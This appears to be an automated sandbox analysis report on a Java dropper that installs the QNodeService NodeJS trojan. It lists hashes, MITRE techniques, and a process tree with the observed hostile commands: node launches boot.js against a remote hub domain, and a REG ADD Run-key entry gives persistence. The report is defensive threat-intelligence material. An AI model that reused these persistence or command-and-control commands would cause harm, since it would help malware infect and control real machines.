qnodeservice | 9c7fc51d9b11381d7cbdef16dea123d384455f9d8828340337a420dc21b8a0d7

General

Target

RFQ.jar
Size

360KB
MD5

54a4d1c8b02bceb2c48d49f43db3a510
SHA1

d0cf537542156ab8b6c1c5f6522ccc91e2421766
SHA256

9c7fc51d9b11381d7cbdef16dea123d384455f9d8828340337a420dc21b8a0d7
SHA512

88ae24ac1a64291a5431a171969a7a2a34b4f2bd4db31ee8b67a4818fe1f31406d1373b9360a5d4f457ecfb83dd22aa5f478ec019ba8ca18a8cc12616ecc847e

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
4000	node.exe
196	node.exe
2076	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\231b6141-4dc4-422d-b651-1656e12d66cb = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad46-167.dat	js
behavioral2/files/0x000100000001ad46-170.dat	js
behavioral2/files/0x000100000001ad46-174.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	wtfismyip.com
21	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4000	node.exe
4000	node.exe
4000	node.exe
4000	node.exe
196	node.exe
196	node.exe
196	node.exe
196	node.exe
2076	node.exe
2076	node.exe
2076	node.exe
2076	node.exe
2076	node.exe
2076	node.exe
2076	node.exe
2076	node.exe
2076	node.exe
2076	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 496 wrote to memory of 3836	496	java.exe	73
PID 496 wrote to memory of 3836	496	java.exe	73
PID 3836 wrote to memory of 4000	3836	javaw.exe	77
PID 3836 wrote to memory of 4000	3836	javaw.exe	77
PID 4000 wrote to memory of 196	4000	node.exe	79
PID 4000 wrote to memory of 196	4000	node.exe	79
PID 196 wrote to memory of 2076	196	node.exe	80
PID 196 wrote to memory of 2076	196	node.exe	80
PID 2076 wrote to memory of 3752	2076	node.exe	82
PID 2076 wrote to memory of 3752	2076	node.exe	82
PID 3752 wrote to memory of 3356	3752	cmd.exe	83
PID 3752 wrote to memory of 3356	3752	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\RFQ.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:496
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\b0c2db70.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3836
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain akinventures.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4000
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_bamtFj\boot.js --hub-domain akinventures.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:196
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_bamtFj\boot.js --hub-domain akinventures.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2076
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "231b6141-4dc4-422d-b651-1656e12d66cb" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3752
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "231b6141-4dc4-422d-b651-1656e12d66cb" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3356

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/196-171-0x000001A1BEA80000-0x000001A1BEA81000-memory.dmp

Filesize
4KB

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memory/2076-175-0x00000165EA080000-0x00000165EA081000-memory.dmp

Filesize
4KB

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memory/4000-168-0x000003744DC40000-0x000003744DC41000-memory.dmp

Filesize
4KB

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